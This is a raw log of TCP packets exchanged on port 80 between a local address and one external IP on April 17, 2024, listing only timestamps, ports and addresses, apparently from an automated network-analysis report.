Apr 17, 2024 06:57:13.663489103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.663563013 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.664201021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.664258957 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.664275885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.664297104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.664321899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.664334059 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.664343119 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.664371014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.664388895 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.664410114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.664426088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.664448023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.664485931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.664522886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.690943956 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.690985918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.691071033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.691123009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.691144943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.691144943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.691144943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.691231012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.691421986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.691459894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.691482067 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.691498995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.691515923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.691535950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.691555977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.691582918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.691734076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.691775084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.691792965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.691817999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.693171978 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.693231106 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721205950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721244097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721327066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721363068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721393108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721400023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721393108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721393108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721436024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721461058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721461058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721487999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721499920 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721525908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721554995 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721563101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721580029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721599102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721621037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721637011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721662045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721673012 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721697092 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721712112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721736908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721751928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721772909 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721787930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721816063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721826077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721833944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721860886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721878052 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721898079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721913099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721937895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721952915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.721975088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.721990108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.722011089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.722026110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.722048044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.722062111 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.722086906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.722103119 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.722122908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.722140074 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.722161055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.722174883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.722198009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.722210884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.722234011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.722246885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.722271919 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.722285032 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.722310066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.722326040 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.722361088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.748958111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.749010086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.749046087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.749084949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.749212980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.749253988 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.749257088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.749257088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.749258041 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.749258041 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.749289989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.749325037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.749341011 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.749341011 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.749341011 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.749375105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.749557972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.749596119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.749619961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.749633074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.749639988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.749666929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.749687910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.749722004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.749924898 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.749964952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.749986887 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.750000954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.750005007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.750035048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.750058889 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.750082016 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.750268936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.750305891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.750327110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.750353098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.751498938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.751559019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.778805971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.778870106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.778911114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.778965950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779007912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779045105 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779069901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779069901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779069901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779083014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779099941 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779122114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779133081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779160976 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779171944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779196978 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779207945 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779232979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779243946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779270887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779283047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779309034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779330015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779346943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779361010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779386044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779397011 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779426098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779433012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779484034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779496908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779520988 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779530048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779557943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779567957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779603004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779766083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779803991 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779814005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779841900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779854059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779879093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779889107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779925108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779932976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.779968977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.779975891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.780005932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.780019999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.780042887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.780057907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.780092001 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.807137012 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.807189941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.807269096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.807303905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.807339907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.807377100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.807413101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.807436943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.807446003 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.807531118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.807531118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.807531118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.807531118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.807531118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.807676077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.807714939 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.807739019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.807749987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.807759047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.807781935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.807796001 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.807841063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.808010101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.808046103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.808069944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.808082104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.808089972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.808132887 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.808139086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.808191061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.808470964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.808510065 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.808528900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.808549881 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.808558941 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.808584929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.808603048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.808641911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.809092045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.809132099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.809153080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.809168100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.809179068 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.809201002 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.809218884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.809252024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.809499025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.809545040 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.809581041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.809590101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.809590101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.809628010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.809634924 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.809689045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.809775114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.809818029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.809839010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.809855938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.809860945 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.809891939 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.809916973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.809969902 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.810208082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.810245037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.810270071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.810281038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.810288906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.810313940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.810328960 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.810365915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.810601950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.810641050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.810662985 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.810678005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.810684919 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.810713053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.810728073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.810766935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.810966969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.811031103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.811033964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.811070919 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.811089039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.811104059 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.811125040 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.811161995 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.811347961 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.811388016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.811404943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.811424017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.811434031 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.811456919 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.811475039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.811510086 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.811680079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.811717033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.811738968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.811755896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.811774015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.811789989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.811803102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.811841011 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.853540897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.853583097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.853617907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.853652000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.853734970 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.853734970 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.853734970 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.853734970 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.865125895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.865164995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.865200996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.865246058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.865262985 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.865278959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.865303993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.865325928 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.865524054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.865580082 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.865580082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.865618944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.865633965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.865664959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.865689039 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.865745068 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.865849972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.865902901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.865917921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.865956068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.865971088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.865988016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.866012096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.866034985 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.866182089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.866219044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.866235971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.866255999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.866264105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.866290092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.866308928 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.866343975 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.866554976 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.866616964 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.866627932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.866664886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.866681099 CEST	49730	80	192.168.2.4	185.172.128.23
